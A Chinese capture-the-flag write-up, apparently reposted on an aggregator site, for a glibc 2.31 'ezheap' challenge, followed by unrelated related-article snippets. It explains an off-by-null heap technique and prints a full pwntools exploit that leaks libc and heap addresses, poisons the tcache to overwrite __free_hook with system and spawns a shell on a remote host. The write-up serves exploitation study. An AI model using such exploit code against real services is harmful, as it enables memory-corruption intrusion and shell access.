[libc-2.31 off_by_null] N0wayBack ezheap练习

news2024/11/26 13:49:02

以前保留了个WP,但是没复现过也没法用,用了两个晚上慢慢理复现一下。

先看这个题

  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        m1add();     //带read
        break;
      case 2:
        m2free();
        break;
      case 3:
        m3edit();    //溢出
        break;
      case 4:
        m4show();
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }

可以建31个块,数量不是问题,edit的时候会有溢出,并且\n会被转化为\0

unsigned __int64 __fastcall read_0(__int64 a1, unsigned int a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; a2 > i; ++i )
  {
    buf = 0;
    if ( read(0, &buf, 1uLL) < 0 )
    {
      puts("Read error.");
      exit(-2);
    }
    if ( buf == 10 )
    {
      *(_BYTE *)((int)i + a1) = 0;
      return __readfsqword(0x28u) ^ v5;
    }
    *(_BYTE *)(a1 + (int)i) = buf;
  }
  *(_BYTE *)((int)i + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}

这个溢出,听说来看一句话。当输入n个字符后在后边加一个\0

buf[read(0,buf,n)]=0;

先看下在旧版本上的处理办法。2.27以前时候可以形成向前合并,生成重叠块。方法是建块ABCD

A块大小可以释放到unsort,B块通过溢出修改C块的size修改C的presize为A+B,C的size尾字节为0,C要能释放到unsort并且size尾应该是01(比如0x501),D用来分隔。先释放A,然后通过B修改C的size尾再释放C,形成向前合并,将未释放的B一起进入unsort,再建块时会跟B形成重叠块。

在2.31后就多了检查。这样释放就不允许了。新的方法是通过残留绕过检查。需要在3个块的指针其中C.fd->A,C.bk->D,A.bk->C,D.fd->C

具体思路:

  1. 建ABCD 4个块,BC相邻,其它中间有间隔。C的位置(presize,不是数据开始)尾字节为0。大小满足C>D>A,在C的位置生成指针。
  2. 造C的指针。依次释放ACD,这时在C的头部会生成指向A和D的指针C.fd->A,C.bk->D
  3. 释放B,会和C合并,再建B(oldB+0x20)将原来的指针保留在newB的尾部
  4. 修复A.bk,释放A和newC再次形成指针链,这时A.bk->newC,重建A并通过off_by_null将bk的尾覆盖为0(指向oldC)
  5. 修复D.fd,释放newC和D,D.fd->newC,再建D时覆盖fd尾字节为0指向oldC
  6. 在D后边的分隔后建尾E(0xa01)
  7. 编辑D后的分隔,写入E的presize= oldC+间隔+D+间隔,off_by_null覆盖E的size尾为\0
  8. 释放E向前合并,不过这时会将 top_chunk一起合并,不过这不影响使用,再建块时形成重叠。

后边由于2.31还没有去掉free_hook,在得到重叠块后可以直接往free_hook写system.

另外这题有编号是自动的,这个东西极其讨厌,如果记不好只能一点点调。为方便我一步步记录下来省得乱。也算个着吧。

from pwn import *

#p = process('./ezheap')
p = remote('36.152.17.3', 10016)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')

def add(size, msg=b'\n'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Length of game description:\n", str(size).encode())
    p.sendlineafter(b"Game description:\n", msg)

def free(idx):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"game index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"game index: ", str(idx).encode())
    p.sendlineafter(b"Game description:\n", msg)

def show(idx):
    p.sendlineafter(b">> ", b'4')
    p.sendlineafter(b"game index: ", str(idx).encode())

#           padding        A           B     C           D
#                          1    2      3     4     5     6     7
for i in [0x1000-0xf0+8,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
    add(i)

#A-C-D largebin-chain
for i in [1,4,6,3]:  #free ACD,free B combin BC
    free(i)

#fack newC   oldC fd->A,bk->D
add(0x438, b'\x00'*0x418+p64(0xb91)[:-1]) #newB 1
add(0x418) #newC 3
add(0x428) #D    4
add(0x418, b'1'*0x100) #A    6
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
#0x55555555cb00: 0x0000000000000000      0x0000000000000b91
#0x55555555cb10: 0x000055555555c1a0      0x000055555555d040
#0x55555555cb20: 0x0000000000000000      0x0000000000000421

#repair bk
free(6)
free(3)
add(0x418, b'PIG007nb\n')
add(0x418)
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
##                          3    2      1      6    5     4     7
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
#0x55555555c1b0: 0x0000000000000000      0x0000000000000421
#0x55555555c1c0: 0x626e373030474950      0x000055555555cb00

#repair fd
free(6) #newC
free(4) #D
add(0x9f8) #unlink_point
#add(0x9f8) #no combine top_chunk
add(0x428, b'\n') #overflow \x00 in fd
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
##                          3    2      1 [    6    5     4     7 ]
##                          3    2      1 [ unsort  5     6     7 ]   4
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208, 0x9f8]:
#0x55555555d050: 0x0000000000000000      0x0000000000000431
#0x55555555d060: 0x000055555555cb00      0x00007ffff7fc1fd0
'''
#0x55555555c1b0: 0x0000000000000000      0x0000000000000421
#0x55555555c1c0: ------------------      0x000055555555cb00->C     A
#0x55555555cb00: 0x0000000000000000      0x0000000000000b91
#0x55555555cb10: 0x000055555555c1a0->A   0x000055555555d040->D   oldC
#0x55555555d050: 0x0000000000000000      0x0000000000000431
#0x55555555d060: 0x000055555555cb00->C   ------------------     D
'''

#unlink
edit(7, b'1'*0x200 + p64(0xb90))  #3 0x501-0x500,presize=0x550
free(4)

add(0x438) #4 cb10 free后会与top_chunk合并,并没有unsort指针泄露
add(0x418) #8      清除残留的unsort
add(0x418) #9 == 5 再建的块与原块形成重叠块,再次释放时得到残留libc
add(0x108) #10 D370
free(9)
#0x55555555cf40: 0x0000000000000420      0x0000000000001151
#0x55555555cf50: 0x00007ffff7fc1be0      0x00007ffff7fc1be0

show(5)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

add(0x78) #9
add(0x78) #11

free(11)
free(9)
show(5)
heap_address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x1fd0
print(f"{heap_address = :x}")

edit(5, p64(libc.sym['__free_hook'])[:-1])
add(0x78, b'/bin/sh') #9
add(0x78, p64(libc.sym['system'])) #11 __free_hook

free(9)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1005167.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vscode配置已有工程及自动格式化

这里写目录标题 前言配置CMake配置clang&clang-tidy&clang-format.clangd.clang-tidy.clang-format 前言 最近一直在用vscode写代码&#xff0c;发现vscode一旦配置好了真的好用&#xff0c;不论是语法提示&#xff0c;还是跳转&#xff0c;或者是format&#xff0c;都…

回归与聚类算法系列⑤:逻辑回归

目录 1、介绍 2、原理 输入 激活函数 3、损失及其优化 损失函数 优化 4、API 5、案例&#xff1a;乳腺癌肿瘤预测 数据集 代码 &#x1f343;作者介绍&#xff1a;双非本科大三网络工程专业在读&#xff0c;阿里云专家博主&#xff0c;专注于Java领域学习&#xff0…

CUDA和cudnn详细安装过程【通用win】

1 软硬件资源 仅作参考&#xff0c;其他型号通用 win 11 32内存显卡 RTX 2080Ti &#xff0c;驱动版本号&#xff1a;516.59python 3.8.10torch 1.8.0 框架cudatoolkit 11.1cudnn 8.0.4 2 查看适用cuda版本 2.1 查看本机的cuda算力 安装之前先进入官网查看自己的显卡能不能用…

关于OxyPlot.Wpf包没有Plot控件问题

一、OxyPlot.Wpf 控件信息 GitHub&#xff1a;https://github.com/oxyplot/oxyplot 官方文档地址&#xff1a;https://oxyplot.readthedocs.io/en/latest/index.html 在网上查了好久T^T 最后安装了2.0.0版本就出现了

Trinitycore学习之在Linux环境上搭建服务器并测试运行

1&#xff1a;准备环境&#xff0c;这里用ubuntu 22.04进行测试&#xff0c;安装环境后为了方便&#xff0c;换源。 注意&#xff1a;这里用的虚拟机&#xff0c;在虚拟机上生成地图信息&#xff0c;地图信息占用内存比较大&#xff0c;我暂时设置磁盘50G进行测试&#xff0c;…

Electron和vue3集成(推荐仅用于开发)

本篇我们仅实现Electron和vue3通过先运行起vue3项目&#xff0c;再将vue3的url地址交由Electron打开的方案&#xff0c;仅由Electron在vue3项目上套一层壳来达到脱离本机浏览器运行目的 1、参考快速上手 | Vue.js搭建起vue3初始项目 npm install -g vue npm install -g vue/c…

openpnp - 接入西门子二手飞达

文章目录 openpnp - 接入西门子二手飞达概述笔记编译生产用的飞达控制板工程建立飞达控制板GCode驱动create actuatorscreate actuators - GetIDcreate actuators - PrePickcreate actuators - PostPickcreate actuators - AdvIgnoreErrcreate actuators - GetCountcreate actu…

八股文学习二(spring boot + mybatis)

三. 架构 1. spring boot Spring Boot是一个依靠大量注解实现自动化配置的全新框架。约定优于配置&#xff1b;独立运行的 Spring 项目&#xff0c;内嵌servlet容器&#xff1b;Spring Boot 框架内部已经实现了与Spring以及其他常用第三方库的整合连接&#xff0c;并提供了默…

2011-2015年西双版纳热带季节雨林碳水通量观测数据集

摘要 中国“双碳”目标的提出立足于应对气候变化的科学基础之上,增加碳汇、减少碳源成为实施气候治理的必需。陆地生态系统是重要的大气碳汇,而热带季节雨林生态系统作为中国陆地生态系统的组成部分,具有生物量丰富、生产力旺盛等特征,发挥着不可或缺的固碳功能。自2002年建…

选择(使用)数据库

MySQL从小白到总裁完整教程目录:https://blog.csdn.net/weixin_67859959/article/details/129334507?spm1001.2014.3001.5502 语法格式: use 数据库名称;大家应该知道,在对数据库进行操作的时候,要制定数据库的操作对象,也就是说操作哪一个数据库 案列:选择testing数据库 …

Cesium 加载gltf

imageBasedLightingFactor&#xff1a;指定基于漫射和高光图像的照明因子参数 let position Cesium.Cartesian3.fromDegrees(104.17401, 30.65793, 10);const heading Cesium.Math.toRadians(135);const pitch 0;const roll 0;const hpr new Cesium.HeadingPitchRoll(head…

Java实现合并多个excel操作

涉及较多封装的工具类&#xff0c;所有依赖的工具类均提供代码&#xff0c;根据名称新建对应的类&#xff0c;在每个工具类中再引入相应的依赖即可 首先需要明确的是&#xff0c;需要合并的每个excel的表头名称必须是相同的&#xff0c; 针对表头&#xff0c;建立传输的dto&a…

数据结构:树的概念和结构

文章目录 1. 树的概念2. 树的结构3. 树的相关概念4. 树的表示孩子表示法双亲表示法孩子兄弟表示法 5. 树在实际中的应用5. 树在实际中的应用 1. 树的概念 树是一种非线性的数据结构,它是由 n (n > 0)个有限结点组成一个具有层次关系的. 把它叫做树是因为它看起来像一棵倒挂的…

vue基础知识八:为什么data属性是一个函数而不是一个对象?

一、实例和组件定义data的区别 vue实例的时候定义data属性既可以是一个对象&#xff0c;也可以是一个函数 const app new Vue({el:"#app",// 对象格式data:{foo:"foo"},// 函数格式data(){return {foo:"foo"}} })组件中定义data属性&#xff…

学习day59

昨天学了插槽&#xff0c;但是没有即笔记了 今天的是vuex 总体来说&#xff0c;vuex就是一个共享单车&#xff0c;每个人都可以使用他&#xff0c;也可也对他进行反馈。即把一个数据列为vuex&#xff0c;然后每个组件可以使用这个对象&#xff0c;也可也反过来反馈他 这一个设…

VScode在服务器上远程调试python代码的工作目录问题

背景&#xff1a; 当前很多写代码都习惯使用相对路径&#xff0c;即以当前的py文件为工作目录去寻找其他的py文件。所以如果工作目录不是以当前的py文件为起始的话&#xff0c;这将导致去跑一些开源代码的时候运行不起来。 现在我遇到的问题就是&#xff0c;在远程服务器上&…

【MFC】tab控件 仿任务管理器 枚举窗口和进程

界面和关联变量设置 创建一个基于对话框的MFC项目&#xff0c;给主对话框添加一个tab控件&#xff08;设置关联变量 类型&#xff1a;CTabCtrl 名称&#xff1a;m_tab&#xff09;&#xff0c;添加两个子对话框&#xff08;IDC_PAGE1和IDC_PAGE2&#xff09;&#xff0c;给子对…

对IMU的认识

参数标定&#xff1a; 良率检测 内参标定过程 1.线性误差模型 零偏&#xff1a;静止时的误差 尺度偏差&#xff1a;每个轴上电压到实际值之间的比例差值 1->1.5 或者 1->1.3(直线的斜率) 轴偏差&#xff1a; 如下图 2.标定过程&#xff1a; 2.1角加速度标定 重…

84 # koa 实现文件上传功能

下面使用实现文件上传功能&#xff0c;先新建文件夹&#xff0c;结构如下&#xff1a; index.html <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-…

EtsyAI评论分析工具:让你的店铺运营更省心!

Etsy 是一个在线市场平台&#xff0c;成立于 2005 年&#xff0c;总部位于美国纽约。Etsy 的主要特点是它专注于手工艺品、独立设计、艺术品、古董物品和特色商品的销售。 Etsy是一个知名的电商平台&#xff0c;它专注于手工艺品、创意设计和独特商品的售卖&#xff0c;相信大家…